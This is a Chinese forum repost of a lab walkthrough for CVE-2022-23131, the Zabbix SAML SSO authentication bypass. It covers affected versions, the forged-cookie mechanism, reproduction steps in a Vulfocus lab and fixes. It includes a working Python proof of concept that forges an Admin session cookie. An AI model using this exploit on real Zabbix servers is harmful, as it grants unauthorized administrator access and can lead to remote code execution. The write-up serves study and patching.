CVE-2022-23131 Zabbix SAML SSO认证绕过漏洞

打印 上一主题 下一主题

主题 603|帖子 603|积分 1809

一、漏洞概述
Zabbix 是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。它与 Pandora FMS 和 Nagios 等解决方案非常相似。由于其受欢迎程度、功能和在大多数公司网络中的特权地位,Zabbix 是威胁参与者的高调目标。
Zabbix对客户端提交的Cookie会话存在不安全的存储方式,导致在启动SAML SSO认证模式的前提下,恶意用户可通过构造特殊请求绕过认证,获取管理员权限,进而可实现RCE。
——https://blog.csdn.net/weixin_46944519/article/details/123131257
 
二、影响版本

  • 4.0.36
  • 5.0.18
  • 5.4.8
  • 6.0.0alpha1
 
三、漏洞原理

  • 什么是SAML SSO 身份验证
  • 大白话就是当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份认证绕过。
    大佬链接:https://blog.csdn.net/weixin_46944519/article/details/123131257
 
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus
 
五、实验步骤
1.开启镜像环境,访问页面

 
 

 
 
 2.开启kali自带的DirBuster子目录爆破工具,找到存在一个/zabbix/index.php路径

 
 
 3.访问该URL

 
 
 4.使用EditThisCookie插件,准备换Admin的Cookie

 
 
 5.使用该脚本获得加密后的PayLoad(先贴上大佬的,后面再自己尝试写一个~)
  1. 1 # coding
  2. 2
  3. 3 import sys
  4. 4 import requests
  5. 5 import re,base64,urllib.parse,json
  6. 6 # 禁用警告
  7. 7 from requests.packages.urllib3.exceptions import InsecureRequestWarning
  8. 8 requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  9. 9
  10. 10 def runPoc(url):
  11. 11     response = requests.get(url,verify=False)
  12. 12
  13. 13     cookie = response.headers.get("Set-Cookie")
  14. 14
  15. 15     sessionReg = re.compile("zbx_session=(.*?);")
  16. 16     try:
  17. 17         session = re.findall(sessionReg,cookie)[0]
  18. 18
  19. 19         base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))
  20. 20         session_json = json.loads(base64_decode)
  21. 21
  22. 22         payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])
  23. 23
  24. 24         print("未加密Payload:" + payload)
  25. 25         print('\n')
  26. 26         payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))
  27. 27
  28. 28         print("加密后Payload:" + payload_encode)
  29. 29
  30. 30     except IndexError:
  31. 31         print("[-] 不存在漏洞")
  32. 32
  33. 33 if __name__ == '__main__':
  34. 34     try:
  35. 35         url = sys.argv[1]
  36. 36         runPoc(url)
  37. 37     except IndexError:
  38. 38         print("""
  39. 39     Use: python CVE-2022-23131.py http://xxxxxxxxx.com
  40. 40            
  41. 41             By:MrHatSec""")<br><br>————https://blog.csdn.net/MrHatSec/article/details/123997989
复制代码

 
 
 6.切换Cookie,即可实现绕过登录

 
 
 7.很尴尬的是没找到flag……有哪位同仁找到的话记得和我说一下
 
六、修复方式
1、禁用 SAML 身份验证
2、升级安全版本:https://support.zabbix.com/browse/ZBX-20350

来源:https://www.cnblogs.com/wavesky/p/16366406.html
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

没腿的鸟

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表